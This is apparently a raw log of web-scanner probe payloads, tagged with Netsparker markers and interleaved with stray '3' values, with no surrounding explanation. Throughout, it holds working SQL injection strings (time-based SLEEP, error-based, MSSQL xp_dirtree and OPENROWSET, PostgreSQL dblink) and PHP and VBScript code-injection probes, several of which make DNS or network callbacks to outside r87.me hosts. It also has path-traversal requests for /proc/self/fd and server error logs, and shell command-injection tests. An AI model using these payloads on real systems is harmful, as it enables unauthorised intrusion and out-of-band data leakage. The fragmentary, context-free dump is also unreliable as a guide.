\';netsparker(0x096BEE);///

syscolumns WHERE 2>3;exec('xp_dirtree ''\\h_cszcnetxgp2enghkr18da2k28p1ufotpcste1p'+'7t0.r87.me'+'\c$\a''')--

"+print(int)0xFFF9999-67211+"

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 70267198-5c4e-458d-9011-1c80a7fb1c5d */

/../../../../../../../../../../windows/iis6.log

3

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

3

'{${gethostbyname(trim('h_cszcnetxc8ijrflu8ytkaxf34qca2eabfzmqd-'.'u5c.r87.me'))}}'

3

expr 268409241 - 81838;

syscolumns WHERE 2>3;exec('xp_dirtree ''\\h_cszcnetxd5k91l3zos4xmdw53snrom5vvt_5np'+'o-e.r87.me'+'\c$\a''')--

127.100.11.2/elmah

',netsparker(0x096D2D),'

<?=(int)0xFFF9999-50782;//?>

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 4f934bc5-bf8f-4a32-9856-280543f470bc */

/../../../../../../../../../../proc/self/fd/2

'{${gethostbyname(trim('h_cszcnetxqfyo-1vcfqrc0fa1gcakxqnzj2q1nz'.'57s.r87.me'))}}'

-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

3

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','h_cszcnetxpkp3udhagzxt-xe-5_i2ze24ylvmme'+'j5i.r87.me')exec sp_executesql @r

3

expr 268409241 - 34639;

3

3

127.0.0.1/elmah

createobject("WScript.Shell").exec("nslookup h_cszcnetxb3cyr3jqjredth3qj7nx5ltqeynxjy" & "td4.r87.me").StdOut.ReadAll

<?=(int)0xFFF9999-84642;//?>

3

netsparker(0x096D95)

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* ea350249-5303-49aa-bb54-4c1045488b5a */

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','h_cszcnetxsh4i9ygs2o2krdqmsfniog_s7kckuq'+'er8.r87.me')exec sp_executesql @r--

/../../../../../../../../../../proc/self/fd/2.php

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

3

createobject("WScript.Shell").exec("nslookup h_cszcnetx-wdnmii6vtv232xd-upsvbrp33qowm" & "jwe.r87.me").StdOut.ReadAll

expr 268409241 - 70225

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','h_cszcnetxibqsaq-nhhmah7xa7sncq7jzsdg_0s'+'bvk.r87.me')exec sp_executesql @r--

/../../../../../../../../../../etc/httpd/logs/error.log

[::1]/elmah

{php}print(int)0xFFF9999-91610;{/php}

3

3

3

netsparker(0x09704E);

((select sleep(25)))a-- 1 /* 39e7f1fd-3e16-4571-bc9b-5be60c45efa9 */

+createobject("WScript.Shell").exec("nslookup h_cszcnetxcupjrmlnfv7smomzt1g6wuk-3bbhlr" & "mv8.r87.me").StdOut.ReadAll

3

' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101)||CHAR(109)||CHAR(109)||CHAR(97) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- zDyA

SELECT dblink_connect('host=h_cszcnetxd1tun0rmka3hodsex7z-pf-fbgfpa8'||'kmm.r87.me user=a password=a connect_timeout=2')